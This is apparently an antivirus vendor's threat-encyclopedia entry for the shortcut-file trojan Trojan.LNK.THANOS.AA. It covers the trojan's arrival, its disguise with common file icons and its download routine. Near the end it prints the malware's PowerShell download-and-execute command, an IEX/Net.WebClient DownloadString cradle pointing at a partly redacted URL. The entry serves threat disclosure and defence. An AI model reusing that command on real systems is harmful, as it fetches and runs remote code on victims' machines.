Trojan.LNK.THANOS.AA

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It uses common file icons to trick a user into thinking that the files are legitimate.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan uses common file icons to trick a user into thinking that the files are legitimate.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• https://www.{BLOCKED}c.de/k/bgk6/17lim → runs the powershell script that connects to the following URL
• https://www.{BLOCKED}c.de/k/bgk5/fsqz7/ → detected as Trojan.PS1.THANOS.AA

Other Details

This Trojan executes the following PowerShell commands:

• IEX ((new-object ((Net.Webclient))).((Downloadstring)).Invoke(https://www.{BLOCKED}c.de/k/bgk5/fsqz7/))));